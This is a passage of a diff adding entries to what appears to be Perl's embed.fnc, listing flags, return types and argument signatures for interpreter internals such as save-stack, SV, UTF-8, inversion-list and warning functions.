+p |I32 |same_dirent |NN const char* a|NN const char* b
+#endif
+Apda |char* |savepv |NULLOK const char* pv
+Apda |char* |savepvn |NULLOK const char* pv|I32 len
+Apda |char* |savesharedpv |NULLOK const char* pv
+
+: NULLOK only to suppress a compiler warning
+Apda |char* |savesharedpvn |NULLOK const char *const pv \
+ |const STRLEN len
+Apda |char* |savesharedsvpv |NN SV *sv
+Apda |char* |savesvpv |NN SV* sv
+Ap |void |savestack_grow
+Ap |void |savestack_grow_cnt |I32 need
+Amp |void |save_aelem |NN AV* av|SSize_t idx|NN SV **sptr
+Ap |void |save_aelem_flags|NN AV* av|SSize_t idx|NN SV **sptr \
+ |const U32 flags
+Ap |I32 |save_alloc |I32 size|I32 pad
+Ap |void |save_aptr |NN AV** aptr
+Ap |AV* |save_ary |NN GV* gv
+Ap |void |save_bool |NN bool* boolp
+Ap |void |save_clearsv |NN SV** svp
+Ap |void |save_delete |NN HV *hv|NN char *key|I32 klen
+Ap |void |save_hdelete |NN HV *hv|NN SV *keysv
+Ap |void |save_adelete |NN AV *av|SSize_t key
+Ap |void |save_destructor|DESTRUCTORFUNC_NOCONTEXT_t f|NN void* p
+Ap |void |save_destructor_x|DESTRUCTORFUNC_t f|NULLOK void* p
+Apmb |void |save_freesv |NULLOK SV* sv
+: Used in SAVEFREOP(), used in op.c, pp_ctl.c
+Apmb |void |save_freeop |NULLOK OP* o
+Apmb |void |save_freepv |NULLOK char* pv
+Ap |void |save_generic_svref|NN SV** sptr
+Ap |void |save_generic_pvref|NN char** str
+Ap |void |save_shared_pvref|NN char** str
+Adp |void |save_gp |NN GV* gv|I32 empty
+Ap |HV* |save_hash |NN GV* gv
+Ap |void |save_hints
+Amp |void |save_helem |NN HV *hv|NN SV *key|NN SV **sptr
+Ap |void |save_helem_flags|NN HV *hv|NN SV *key|NN SV **sptr|const U32 flags
+Ap |void |save_hptr |NN HV** hptr
+Ap |void |save_I16 |NN I16* intp
+Ap |void |save_I32 |NN I32* intp
+Ap |void |save_I8 |NN I8* bytep
+Ap |void |save_int |NN int* intp
+Ap |void |save_item |NN SV* item
+Ap |void |save_iv |NN IV *ivp
+Ap |void |save_list |NN SV** sarg|I32 maxsarg
+Ap |void |save_long |NN long* longp
+Apmb |void |save_mortalizesv|NN SV* sv
+Ap |void |save_nogv |NN GV* gv
+: Used in SAVEFREOP(), used in gv.c, op.c, perl.c, pp_ctl.c, pp_sort.c
+Apmb |void |save_op
+Ap |SV* |save_scalar |NN GV* gv
+Ap |void |save_pptr |NN char** pptr
+Ap |void |save_vptr |NN void *ptr
+Ap |void |save_re_context
+Ap |void |save_padsv_and_mortalize|PADOFFSET off
+Ap |void |save_sptr |NN SV** sptr
+Xp |void |save_strlen |NN STRLEN* ptr
+Ap |SV* |save_svref |NN SV** sptr
+AMpo |void |savetmps
+Ap |void |save_pushptr |NULLOK void *const ptr|const int type
+Ap |void |save_pushi32ptr|const I32 i|NULLOK void *const ptr|const int type
+: Used by SAVESWITCHSTACK() in pp.c
+Ap |void |save_pushptrptr|NULLOK void *const ptr1 \
+ |NULLOK void *const ptr2|const int type
+#if defined(PERL_IN_SCOPE_C)
+s |void |save_pushptri32ptr|NULLOK void *const ptr1|const I32 i \
+ |NULLOK void *const ptr2|const int type
+#endif
+: Used in perly.y
+p |OP* |sawparens |NULLOK OP* o
+Apd |OP* |op_contextualize|NN OP* o|I32 context
+: Used in perly.y
+p |OP* |scalar |NULLOK OP* o
+#if defined(PERL_IN_OP_C)
+s |OP* |scalarkids |NULLOK OP* o
+s |OP* |scalarseq |NULLOK OP* o
+#endif
+: Used in pp_ctl.c
+p |OP* |scalarvoid |NN OP* o
+Apd |NV |scan_bin |NN const char* start|STRLEN len|NN STRLEN* retlen
+Apd |NV |scan_hex |NN const char* start|STRLEN len|NN STRLEN* retlen
+Ap |char* |scan_num |NN const char* s|NN YYSTYPE *lvalp
+Apd |NV |scan_oct |NN const char* start|STRLEN len|NN STRLEN* retlen
+AMpd |OP* |op_scope |NULLOK OP* o
+: Only used by perl.c/miniperl.c, but defined in caretx.c
+px |void |set_caret_X
+Apd |void |setdefout |NN GV* gv
+Ap |HEK* |share_hek |NN const char* str|I32 len|U32 hash
+#if defined(HAS_SIGACTION) && defined(SA_SIGINFO)
+: Used in perl.c
+np |Signal_t |sighandler |int sig|NULLOK siginfo_t *info|NULLOK void *uap
+Anp |Signal_t |csighandler |int sig|NULLOK siginfo_t *info|NULLOK void *uap
+#else
+np |Signal_t |sighandler |int sig
+Anp |Signal_t |csighandler |int sig
+#endif
+Ap |SV** |stack_grow |NN SV** sp|NN SV** p|SSize_t n
+Ap |I32 |start_subparse |I32 is_format|U32 flags
+: Used in pp_ctl.c
+p |void |sub_crush_depth|NN CV* cv
+Amd |bool |sv_2bool |NN SV *const sv
+Apd |bool |sv_2bool_flags |NN SV *sv|I32 flags
+Apd |CV* |sv_2cv |NULLOK SV* sv|NN HV **const st|NN GV **const gvp \
+ |const I32 lref
+Apd |IO* |sv_2io |NN SV *const sv
+#if defined(PERL_IN_SV_C)
+s |bool |glob_2number |NN GV* const gv
+#endif
+Amb |IV |sv_2iv |NN SV *sv
+Apd |IV |sv_2iv_flags |NN SV *const sv|const I32 flags
+Apd |SV* |sv_2mortal |NULLOK SV *const sv
+Apd |NV |sv_2nv_flags |NN SV *const sv|const I32 flags
+: Used in pp.c, pp_hot.c, sv.c
+pMd |SV* |sv_2num |NN SV *const sv
+Amb |char* |sv_2pv |NN SV *sv|NULLOK STRLEN *lp
+Apd |char* |sv_2pv_flags |NN SV *const sv|NULLOK STRLEN *const lp|const I32 flags
+Apd |char* |sv_2pvutf8 |NN SV *sv|NULLOK STRLEN *const lp
+Apd |char* |sv_2pvbyte |NN SV *sv|NULLOK STRLEN *const lp
+Ap |char* |sv_pvn_nomg |NN SV* sv|NULLOK STRLEN* lp
+Amb |UV |sv_2uv |NN SV *sv
+Apd |UV |sv_2uv_flags |NN SV *const sv|const I32 flags
+Apd |IV |sv_iv |NN SV* sv
+Apd |UV |sv_uv |NN SV* sv
+Apd |NV |sv_nv |NN SV* sv
+Apd |char* |sv_pvn |NN SV *sv|NN STRLEN *lp
+Apd |char* |sv_pvutf8n |NN SV *sv|NN STRLEN *lp
+Apd |char* |sv_pvbyten |NN SV *sv|NN STRLEN *lp
+Apd |I32 |sv_true |NULLOK SV *const sv
+#if defined(PERL_IN_SV_C)
+sd |void |sv_add_arena |NN char *const ptr|const U32 size \
+ |const U32 flags
+#endif
+Apdn |void |sv_backoff |NN SV *const sv
+Apd |SV* |sv_bless |NN SV *const sv|NN HV *const stash
+#if defined(PERL_DEBUG_READONLY_COW)
+p |void |sv_buf_to_ro |NN SV *sv
+# if defined(PERL_IN_SV_C)
+s |void |sv_buf_to_rw |NN SV *sv
+# endif
+#endif
+Afpd |void |sv_catpvf |NN SV *const sv|NN const char *const pat|...
+Apd |void |sv_vcatpvf |NN SV *const sv|NN const char *const pat \
+ |NULLOK va_list *const args
+Apd |void |sv_catpv |NN SV *const sv|NULLOK const char* ptr
+Amdb |void |sv_catpvn |NN SV *dsv|NN const char *sstr|STRLEN len
+Amdb |void |sv_catsv |NN SV *dstr|NULLOK SV *sstr
+Apd |void |sv_chop |NN SV *const sv|NULLOK const char *const ptr
+: Used only in perl.c
+pd |I32 |sv_clean_all
+: Used only in perl.c
+pd |void |sv_clean_objs
+Apd |void |sv_clear |NN SV *const orig_sv
+#if defined(PERL_IN_SV_C)
+s |bool |curse |NN SV * const sv|const bool check_refcnt
+#endif
+Aopd |I32 |sv_cmp |NULLOK SV *const sv1|NULLOK SV *const sv2
+Apd |I32 |sv_cmp_flags |NULLOK SV *const sv1|NULLOK SV *const sv2 \
+ |const U32 flags
+Aopd |I32 |sv_cmp_locale |NULLOK SV *const sv1|NULLOK SV *const sv2
+Apd |I32 |sv_cmp_locale_flags |NULLOK SV *const sv1 \
+ |NULLOK SV *const sv2|const U32 flags
+#if defined(USE_LOCALE_COLLATE)
+Amd |char* |sv_collxfrm |NN SV *const sv|NN STRLEN *const nxp
+Apd |char* |sv_collxfrm_flags |NN SV *const sv|NN STRLEN *const nxp|I32 const flags
+#endif
+Apd |int |getcwd_sv |NN SV* sv
+Apd |void |sv_dec |NULLOK SV *const sv
+Apd |void |sv_dec_nomg |NULLOK SV *const sv
+Ap |void |sv_dump |NN SV* sv
+ApdR |bool |sv_derived_from|NN SV* sv|NN const char *const name
+ApdR |bool |sv_derived_from_sv|NN SV* sv|NN SV *namesv|U32 flags
+ApdR |bool |sv_derived_from_pv|NN SV* sv|NN const char *const name|U32 flags
+ApdR |bool |sv_derived_from_pvn|NN SV* sv|NN const char *const name \
+ |const STRLEN len|U32 flags
+ApdR |bool |sv_does |NN SV* sv|NN const char *const name
+ApdR |bool |sv_does_sv |NN SV* sv|NN SV* namesv|U32 flags
+ApdR |bool |sv_does_pv |NN SV* sv|NN const char *const name|U32 flags
+ApdR |bool |sv_does_pvn |NN SV* sv|NN const char *const name|const STRLEN len \
+ |U32 flags
+Amd |I32 |sv_eq |NULLOK SV* sv1|NULLOK SV* sv2
+Apd |I32 |sv_eq_flags |NULLOK SV* sv1|NULLOK SV* sv2|const U32 flags
+Apd |void |sv_free |NULLOK SV *const sv
+poMX |void |sv_free2 |NN SV *const sv|const U32 refcnt
+: Used only in perl.c
+pd |void |sv_free_arenas
+Apd |char* |sv_gets |NN SV *const sv|NN PerlIO *const fp|I32 append
+Apd |char* |sv_grow |NN SV *const sv|STRLEN newlen
+Apd |void |sv_inc |NULLOK SV *const sv
+Apd |void |sv_inc_nomg |NULLOK SV *const sv
+Amdb |void |sv_insert |NN SV *const bigstr|const STRLEN offset \
+ |const STRLEN len|NN const char *const little \
+ |const STRLEN littlelen
+Apd |void |sv_insert_flags|NN SV *const bigstr|const STRLEN offset|const STRLEN len \
+ |NN const char *const little|const STRLEN littlelen|const U32 flags
+Apd |int |sv_isa |NULLOK SV* sv|NN const char *const name
+Apd |int |sv_isobject |NULLOK SV* sv
+Apd |STRLEN |sv_len |NULLOK SV *const sv
+Apd |STRLEN |sv_len_utf8 |NULLOK SV *const sv
+p |STRLEN |sv_len_utf8_nomg|NN SV *const sv
+Apd |void |sv_magic |NN SV *const sv|NULLOK SV *const obj|const int how \
+ |NULLOK const char *const name|const I32 namlen
+Apd |MAGIC *|sv_magicext |NN SV *const sv|NULLOK SV *const obj|const int how \
+ |NULLOK const MGVTBL *const vtbl|NULLOK const char *const name \
+ |const I32 namlen
+#ifndef PERL_NO_INLINE_FUNCTIONS
+Ein |bool |sv_only_taint_gmagic|NN SV *sv
+#endif
+: exported for re.pm
+EXp |MAGIC *|sv_magicext_mglob|NN SV *sv
+ApdbamR |SV* |sv_mortalcopy |NULLOK SV *const oldsv
+XpaR |SV* |sv_mortalcopy_flags|NULLOK SV *const oldsv|U32 flags
+ApdR |SV* |sv_newmortal
+Apd |SV* |sv_newref |NULLOK SV *const sv
+Ap |char* |sv_peek |NULLOK SV* sv
+Apd |void |sv_pos_u2b |NULLOK SV *const sv|NN I32 *const offsetp|NULLOK I32 *const lenp
+Apd |STRLEN |sv_pos_u2b_flags|NN SV *const sv|STRLEN uoffset \
+ |NULLOK STRLEN *const lenp|U32 flags
+Apd |void |sv_pos_b2u |NULLOK SV *const sv|NN I32 *const offsetp
+Apd |STRLEN |sv_pos_b2u_flags|NN SV *const sv|STRLEN const offset \
+ |U32 flags
+Amdb |char* |sv_pvn_force |NN SV* sv|NULLOK STRLEN* lp
+Apd |char* |sv_pvutf8n_force|NN SV *const sv|NULLOK STRLEN *const lp
+Apd |char* |sv_pvbyten_force|NN SV *const sv|NULLOK STRLEN *const lp
+Apd |char* |sv_recode_to_utf8 |NN SV* sv|NN SV *encoding
+Apd |bool |sv_cat_decode |NN SV* dsv|NN SV *encoding|NN SV *ssv|NN int *offset \
+ |NN char* tstr|int tlen
+ApdR |const char* |sv_reftype |NN const SV *const sv|const int ob
+Apd |SV* |sv_ref |NULLOK SV *dst|NN const SV *const sv|const int ob
+Apd |void |sv_replace |NN SV *const sv|NN SV *const nsv
+Apd |void |sv_report_used
+Apd |void |sv_reset |NN const char* s|NULLOK HV *const stash
+p |void |sv_resetpvn |NULLOK const char* s|STRLEN len \
+ |NULLOK HV *const stash
+Afpd |void |sv_setpvf |NN SV *const sv|NN const char *const pat|...
+Apd |void |sv_vsetpvf |NN SV *const sv|NN const char *const pat|NULLOK va_list *const args
+Apd |void |sv_setiv |NN SV *const sv|const IV num
+Apdb |void |sv_setpviv |NN SV *const sv|const IV num
+Apd |void |sv_setuv |NN SV *const sv|const UV num
+Apd |void |sv_setnv |NN SV *const sv|const NV num
+Apd |SV* |sv_setref_iv |NN SV *const rv|NULLOK const char *const classname|const IV iv
+Apd |SV* |sv_setref_uv |NN SV *const rv|NULLOK const char *const classname|const UV uv
+Apd |SV* |sv_setref_nv |NN SV *const rv|NULLOK const char *const classname|const NV nv
+Apd |SV* |sv_setref_pv |NN SV *const rv|NULLOK const char *const classname \
+ |NULLOK void *const pv
+Apd |SV* |sv_setref_pvn |NN SV *const rv|NULLOK const char *const classname \
+ |NN const char *const pv|const STRLEN n
+Apd |void |sv_setpv |NN SV *const sv|NULLOK const char *const ptr
+Apd |void |sv_setpvn |NN SV *const sv|NULLOK const char *const ptr|const STRLEN len
+Xp |void |sv_sethek |NN SV *const sv|NULLOK const HEK *const hek
+Amdb |void |sv_setsv |NN SV *dstr|NULLOK SV *sstr
+Amdb |void |sv_taint |NN SV* sv
+ApdR |bool |sv_tainted |NN SV *const sv
+Apd |int |sv_unmagic |NN SV *const sv|const int type
+Apd |int |sv_unmagicext |NN SV *const sv|const int type|NULLOK MGVTBL *vtbl
+Apdmb |void |sv_unref |NN SV* sv
+Apd |void |sv_unref_flags |NN SV *const ref|const U32 flags
+Apd |void |sv_untaint |NN SV *const sv
+Apd |void |sv_upgrade |NN SV *const sv|svtype new_type
+Apdmb |void |sv_usepvn |NN SV* sv|NULLOK char* ptr|STRLEN len
+Apd |void |sv_usepvn_flags|NN SV *const sv|NULLOK char* ptr|const STRLEN len\
+ |const U32 flags
+Apd |void |sv_vcatpvfn |NN SV *const sv|NN const char *const pat|const STRLEN patlen \
+ |NULLOK va_list *const args|NULLOK SV **const svargs|const I32 svmax \
+ |NULLOK bool *const maybe_tainted
+Apd |void |sv_vcatpvfn_flags|NN SV *const sv|NN const char *const pat|const STRLEN patlen \
+ |NULLOK va_list *const args|NULLOK SV **const svargs|const I32 svmax \
+ |NULLOK bool *const maybe_tainted|const U32 flags
+Apd |void |sv_vsetpvfn |NN SV *const sv|NN const char *const pat|const STRLEN patlen \
+ |NULLOK va_list *const args|NULLOK SV **const svargs \
+ |const I32 svmax|NULLOK bool *const maybe_tainted
+ApR |NV |str_to_version |NN SV *sv
+ApRM |SV* |swash_init |NN const char* pkg|NN const char* name|NN SV* listsv|I32 minbits|I32 none
+ApM |UV |swash_fetch |NN SV *swash|NN const U8 *ptr|bool do_utf8
+#ifdef PERL_IN_REGCOMP_C
+EiMR |SV* |add_cp_to_invlist |NULLOK SV* invlist|const UV cp
+EsM |void |_append_range_to_invlist |NN SV* const invlist|const UV start|const UV end
+EiMRn |UV* |_invlist_array_init |NN SV* const invlist|const bool will_have_0
+EsM |void |invlist_extend |NN SV* const invlist|const UV len
+EiMRn |UV |invlist_max |NN SV* const invlist
+EiM |void |invlist_set_len|NN SV* const invlist|const UV len|const bool offset
+EiMRn |bool |invlist_is_iterating|NN SV* const invlist
+#ifndef PERL_EXT_RE_BUILD
+EsM |void |invlist_replace_list_destroys_src|NN SV *dest|NN SV *src
+EiMRn |IV* |get_invlist_previous_index_addr|NN SV* invlist
+EiMn |void |invlist_set_previous_index|NN SV* const invlist|const IV index
+EiMRn |IV |invlist_previous_index|NN SV* const invlist
+EiMn |void |invlist_trim |NN SV* invlist
+EiM |void |invlist_clear |NN SV* invlist
+#endif
+EiMR |SV* |invlist_clone |NN SV* const invlist
+EiMRn |STRLEN*|get_invlist_iter_addr |NN SV* invlist
+EiMn |void |invlist_iterinit|NN SV* invlist
+EsMRn |bool |invlist_iternext|NN SV* invlist|NN UV* start|NN UV* end
+EiMn |void |invlist_iterfinish|NN SV* invlist
+EiMRn |UV |invlist_highest|NN SV* const invlist
+EMRs |SV* |_make_exactf_invlist |NN RExC_state_t *pRExC_state \
+ |NN regnode *node
+EsMR |SV* |invlist_contents|NN SV* const invlist \
+ |const bool traditional_style
+#endif
+#if defined(PERL_IN_REGCOMP_C) || defined(PERL_IN_UTF8_C)
+EXmM |void |_invlist_intersection |NN SV* const a|NN SV* const b|NN SV** i
+EXpM |void |_invlist_intersection_maybe_complement_2nd \
+ |NULLOK SV* const a|NN SV* const b \
+ |const bool complement_b|NN SV** i
+EXmM |void |_invlist_union |NULLOK SV* const a|NN SV* const b|NN SV** output
+EXpM |void |_invlist_union_maybe_complement_2nd \
+ |NULLOK SV* const a|NN SV* const b \
+ |const bool complement_b|NN SV** output
+EXmM |void |_invlist_subtract|NN SV* const a|NN SV* const b|NN SV** result
+EXpM |void |_invlist_invert|NN SV* const invlist
+EXMpR |SV* |_new_invlist |IV initial_size
+EXMpR |SV* |_swash_to_invlist |NN SV* const swash
+EXMpR |SV* |_add_range_to_invlist |NULLOK SV* invlist|const UV start|const UV end
+EXMpR |SV* |_setup_canned_invlist|const STRLEN size|const UV element0|NN UV** other_elements_ptr
+EXMpn |void |_invlist_populate_swatch |NN SV* const invlist|const UV start|const UV end|NN U8* swatch
+#endif
+#if defined(PERL_IN_REGCOMP_C) || defined(PERL_IN_REGEXEC_C) || defined(PERL_IN_UTF8_C) || defined(PERL_IN_TOKE_C)
+EXp |SV* |_core_swash_init|NN const char* pkg|NN const char* name \
+ |NN SV* listsv|I32 minbits|I32 none \
+ |NULLOK SV* invlist|NULLOK U8* const flags_p
+#endif
+#if defined(PERL_IN_REGCOMP_C) || defined(PERL_IN_REGEXEC_C) || defined(PERL_IN_UTF8_C)
+EiMRn |UV* |invlist_array |NN SV* const invlist
+EiMRn |bool* |get_invlist_offset_addr|NN SV* invlist
+EiMRn |UV |_invlist_len |NN SV* const invlist
+EMiRn |bool |_invlist_contains_cp|NN SV* const invlist|const UV cp
+EXpMRn |IV |_invlist_search |NN SV* const invlist|const UV cp
+EXMpR |SV* |_get_swash_invlist|NN SV* const swash
+EXMpR |HV* |_swash_inversion_hash |NN SV* const swash
+#endif
+#if defined(PERL_IN_REGCOMP_C) || defined(PERL_IN_REGEXEC_C)
+ApM |SV* |_get_regclass_nonbitmap_data \
+ |NULLOK const regexp *prog \
+ |NN const struct regnode *node \
+ |bool doinit \
+ |NULLOK SV **listsvp \
+ |NULLOK SV **lonly_utf8_locale \
+ |NULLOK SV **output_invlist
+EXp |void|_load_PL_utf8_foldclosures|
+#endif
+#if defined(PERL_IN_REGCOMP_C) || defined (PERL_IN_DUMP_C)
+EXMp |void |_invlist_dump |NN PerlIO *file|I32 level \
+ |NN const char* const indent \
+ |NN SV* const invlist
+#endif
+Ap |void |taint_env
+Ap |void |taint_proper |NULLOK const char* f|NN const char *const s
+ApdD |UV |to_utf8_case |NN const U8 *p \
+ |NN U8* ustrp \
+ |NULLOK STRLEN *lenp \
+ |NN SV **swashp \
+ |NN const char *normal| \
+ NULLOK const char *special
+#if defined(PERL_IN_UTF8_C)
+s |UV |_to_utf8_case |const UV uv1 \
+ |NN const U8 *p \
+ |NN U8* ustrp \
+ |NULLOK STRLEN *lenp \
+ |NN SV **swashp \
+ |NN const char *normal \
+ |NULLOK const char *special
+#endif
+Abmd |UV |to_utf8_lower |NN const U8 *p|NN U8* ustrp|NULLOK STRLEN *lenp
+AMp |UV |_to_utf8_lower_flags |NN const U8 *p|NN U8* ustrp \
+ |NULLOK STRLEN *lenp|bool flags
+Abmd |UV |to_utf8_upper |NN const U8 *p|NN U8* ustrp|NULLOK STRLEN *lenp
+AMp |UV |_to_utf8_upper_flags |NN const U8 *p|NN U8* ustrp \
+ |NULLOK STRLEN *lenp|bool flags
+Abmd |UV |to_utf8_title |NN const U8 *p|NN U8* ustrp|NULLOK STRLEN *lenp
+AMp |UV |_to_utf8_title_flags |NN const U8 *p|NN U8* ustrp \
+ |NULLOK STRLEN *lenp|bool flags
+Abmd |UV |to_utf8_fold |NN const U8 *p|NN U8* ustrp|NULLOK STRLEN *lenp
+AMp |UV |_to_utf8_fold_flags|NN const U8 *p|NN U8* ustrp \
+ |NULLOK STRLEN *lenp|U8 flags
+#if defined(PERL_IN_MG_C) || defined(PERL_IN_PP_C)
+pn |bool |translate_substr_offsets|STRLEN curlen|IV pos1_iv \
+ |bool pos1_is_uv|IV len_iv \
+ |bool len_is_uv|NN STRLEN *posp \
+ |NN STRLEN *lenp
+#endif
+#if defined(UNLINK_ALL_VERSIONS)
+Ap |I32 |unlnk |NN const char* f
+#endif
+Apd |I32 |unpack_str |NN const char *pat|NN const char *patend|NN const char *s \
+ |NULLOK const char *strbeg|NN const char *strend|NULLOK char **new_s \
+ |I32 ocnt|U32 flags
+Apd |I32 |unpackstring |NN const char *pat|NN const char *patend|NN const char *s \
+ |NN const char *strend|U32 flags
+Ap |void |unsharepvn |NULLOK const char* sv|I32 len|U32 hash
+: Used in gv.c, hv.c
+p |void |unshare_hek |NULLOK HEK* hek
+: Used in perly.y
+p |void |utilize |int aver|I32 floor|NULLOK OP* version|NN OP* idop|NULLOK OP* arg
+Ap |U8* |utf16_to_utf8 |NN U8* p|NN U8 *d|I32 bytelen|NN I32 *newlen
+Ap |U8* |utf16_to_utf8_reversed|NN U8* p|NN U8 *d|I32 bytelen|NN I32 *newlen
+AdpPR |STRLEN |utf8_length |NN const U8* s|NN const U8 *e
+ApdPR |IV |utf8_distance |NN const U8 *a|NN const U8 *b
+ApdPRn |U8* |utf8_hop |NN const U8 *s|SSize_t off
+ApMd |U8* |utf8_to_bytes |NN U8 *s|NN STRLEN *len
+Apd |int |bytes_cmp_utf8 |NN const U8 *b|STRLEN blen|NN const U8 *u \
+ |STRLEN ulen
+ApMd |U8* |bytes_from_utf8|NN const U8 *s|NN STRLEN *len|NULLOK bool *is_utf8
+ApMd |U8* |bytes_to_utf8 |NN const U8 *s|NN STRLEN *len
+ApdD |UV |utf8_to_uvchr |NN const U8 *s|NULLOK STRLEN *retlen
+ApdD |UV |utf8_to_uvuni |NN const U8 *s|NULLOK STRLEN *retlen
+ApMD |UV |valid_utf8_to_uvuni |NN const U8 *s|NULLOK STRLEN *retlen
+Amd |UV |utf8_to_uvchr_buf |NN const U8 *s|NN const U8 *send|NULLOK STRLEN *retlen
+ApdD |UV |utf8_to_uvuni_buf |NN const U8 *s|NN const U8 *send|NULLOK STRLEN *retlen
+pM |bool |check_utf8_print |NN const U8 *s|const STRLEN len
+
+Adp |UV |utf8n_to_uvchr |NN const U8 *s|STRLEN curlen|NULLOK STRLEN *retlen|U32 flags
+ApM |UV |valid_utf8_to_uvchr |NN const U8 *s|NULLOK STRLEN *retlen
+
+Ap |UV |utf8n_to_uvuni|NN const U8 *s|STRLEN curlen|NULLOK STRLEN *retlen|U32 flags
+
+Adm |U8* |uvchr_to_utf8 |NN U8 *d|UV uv
+Ap |U8* |uvuni_to_utf8 |NN U8 *d|UV uv
+Adm |U8* |uvchr_to_utf8_flags |NN U8 *d|UV uv|UV flags
+Apd |U8* |uvoffuni_to_utf8_flags |NN U8 *d|UV uv|UV flags
+Ap |U8* |uvuni_to_utf8_flags |NN U8 *d|UV uv|UV flags
+Apd |char* |pv_uni_display |NN SV *dsv|NN const U8 *spv|STRLEN len|STRLEN pvlim|UV flags
+ApdR |char* |sv_uni_display |NN SV *dsv|NN SV *ssv|STRLEN pvlim|UV flags
+: Used by Data::Alias
+EXp |void |vivify_defelem |NN SV* sv
+: Used in pp.c
+pR |SV* |vivify_ref |NN SV* sv|U32 to_what
+: Used in pp_sys.c
+p |I32 |wait4pid |Pid_t pid|NN int* statusp|int flags
+: Used in locale.c and perl.c
+p |U32 |parse_unicode_opts|NN const char **popt
+Ap |U32 |seed
+Xpno |double |drand48_r |NN perl_drand48_t *random_state
+Xpno |void |drand48_init_r |NN perl_drand48_t *random_state|U32 seed
+: Only used in perl.c
+p |void |get_hash_seed |NN unsigned char * const seed_buffer
+: Used in doio.c, pp_hot.c, pp_sys.c
+p |void |report_evil_fh |NULLOK const GV *gv
+: Used in doio.c, pp_hot.c, pp_sys.c
+p |void |report_wrongway_fh|NULLOK const GV *gv|const char have
+: Used in mg.c, pp.c, pp_hot.c, regcomp.c
+XEpd |void |report_uninit |NULLOK const SV *uninit_sv
+#if defined(PERL_IN_OP_C) || defined(PERL_IN_SV_C)
+p |void |report_redefined_cv|NN const SV *name \
+ |NN const CV *old_cv \
+ |NULLOK SV * const *new_const_svp
+#endif
+Apd |void |warn_sv |NN SV *baseex
+Afpd |void |warn |NN const char* pat|...
+Apd |void |vwarn |NN const char* pat|NULLOK va_list* args
+Afp |void |warner |U32 err|NN const char* pat|...
+Afp |void |ck_warner |U32 err|NN const char* pat|...
+Afp |void |ck_warner_d |U32 err|NN const char* pat|...
+Ap |void |vwarner |U32 err|NN const char* pat|NULLOK va_list* args
+#ifdef USE_C_BACKTRACE
+pd |Perl_c_backtrace*|get_c_backtrace|int max_depth|int skip
+dm |void |free_c_backtrace|NN Perl_c_backtrace* bt
+Apd |SV* |get_c_backtrace_dump|int max_depth|int skip
+Apd |bool |dump_c_backtrace|NN PerlIO* fp|int max_depth|int skip
+#endif
+: FIXME
+p |void |watch |NN char** addr
+Am |I32 |whichsig |NN const char* sig
+Ap |I32 |whichsig_sv |NN SV* sigsv
+Ap |I32 |whichsig_pv |NN const char* sig
+Ap |I32 |whichsig_pvn |NN const char* sig|STRLEN len
+#ifndef PERL_NO_INLINE_FUNCTIONS
+: used to check for NULs in pathnames and other names
+AiR |bool |is_safe_syscall|NN const char *pv|STRLEN len|NN const char *what|NN const char *op_name
+#endif
+#ifdef PERL_CORE
+inR |bool |should_warn_nl|NN const char *pv
+#endif
+: Used in pp_ctl.c
+p |void |write_to_stderr|NN SV* msv
+: Used in op.c
+p |int |yyerror |NN const char *const s
+p |int |yyerror_pv |NN const char *const s|U32 flags
+p |int |yyerror_pvn |NN const char *const s|STRLEN len|U32 flags
+: Used in perly.y, and by Data::Alias
+EXp |int |yylex
+p |void |yyunlex
+: Used in perl.c, pp_ctl.c
+p |int |yyparse |int gramtype
+: Only used in scope.c
+p |void |parser_free |NN const yy_parser *parser
+#ifdef PERL_CORE
+p |void |parser_free_nexttoke_ops|NN yy_parser *parser \
+ |NN OPSLAB *slab
+#endif
+#if defined(PERL_IN_TOKE_C)
+s |int |yywarn |NN const char *const s|U32 flags
+#endif
+#if defined(MYMALLOC)
+Ap |void |dump_mstats |NN const char* s
+Ap |int |get_mstats |NN perl_mstats_t *buf|int buflen|int level
+#endif
+Anpa |Malloc_t|safesysmalloc |MEM_SIZE nbytes
+Anpa |Malloc_t|safesyscalloc |MEM_SIZE elements|MEM_SIZE size
+Anpa |Malloc_t|safesysrealloc|Malloc_t where|MEM_SIZE nbytes
+Anp |Free_t |safesysfree |Malloc_t where
+Asrnx |void |croak_memory_wrap
+#if defined(PERL_GLOBAL_STRUCT)
+Ap |struct perl_vars *|GetVars
+Ap |struct perl_vars*|init_global_struct
+Ap |void |free_global_struct|NN struct perl_vars *plvarsp
+#endif
+Ap |int |runops_standard
+Ap |int |runops_debug
+Afpd |void |sv_catpvf_mg |NN SV *const sv|NN const char *const pat|...
+Apd |void |sv_vcatpvf_mg |NN SV *const sv|NN const char *const pat \
+ |NULLOK va_list *const args
+Apd |void |sv_catpv_mg |NN SV *const sv|NULLOK const char *const ptr
+Apdbm |void |sv_catpvn_mg |NN SV *sv|NN const char *ptr|STRLEN len
+Apdbm |void |sv_catsv_mg |NN SV *dsv|NULLOK SV *ssv
+Afpd |void |sv_setpvf_mg |NN SV *const sv|NN const char *const pat|...
+Apd |void |sv_vsetpvf_mg |NN SV *const sv|NN const char *const pat \
+ |NULLOK va_list *const args
+Apd |void |sv_setiv_mg |NN SV *const sv|const IV i
+Apdb |void |sv_setpviv_mg |NN SV *const sv|const IV iv
+Apd |void |sv_setuv_mg |NN SV *const sv|const UV u
+Apd |void |sv_setnv_mg |NN SV *const sv|const NV num
+Apd |void |sv_setpv_mg |NN SV *const sv|NULLOK const char *const ptr
+Apd |void |sv_setpvn_mg |NN SV *const sv|NN const char *const ptr|const STRLEN len
+Apd |void |sv_setsv_mg |NN SV *const dstr|NULLOK SV *const sstr
+Apdbm |void |sv_usepvn_mg |NN SV *sv|NULLOK char *ptr|STRLEN len
+ApR |MGVTBL*|get_vtbl |int vtbl_id
+Apd |char* |pv_display |NN SV *dsv|NN const char *pv|STRLEN cur|STRLEN len \
+ |STRLEN pvlim
+Apd |char* |pv_escape |NULLOK SV *dsv|NN char const * const str\
+ |const STRLEN count|const STRLEN max\
+ |NULLOK STRLEN * const escaped\
+ |const U32 flags
+Apd |char* |pv_pretty |NN SV *dsv|NN char const * const str\
+ |const STRLEN count|const STRLEN max\
+ |NULLOK char const * const start_color\
+ |NULLOK char const * const end_color\
+ |const U32 flags
+Afp |void |dump_indent |I32 level|NN PerlIO *file|NN const char* pat|...
+Ap |void |dump_vindent |I32 level|NN PerlIO *file|NN const char* pat \
+ |NULLOK va_list *args
+Ap |void |do_gv_dump |I32 level|NN PerlIO *file|NN const char *name\
+ |NULLOK GV *sv
+Ap |void |do_gvgv_dump |I32 level|NN PerlIO *file|NN const char *name\
+ |NULLOK GV *sv
+Ap |void |do_hv_dump |I32 level|NN PerlIO *file|NN const char *name\
+ |NULLOK HV *sv
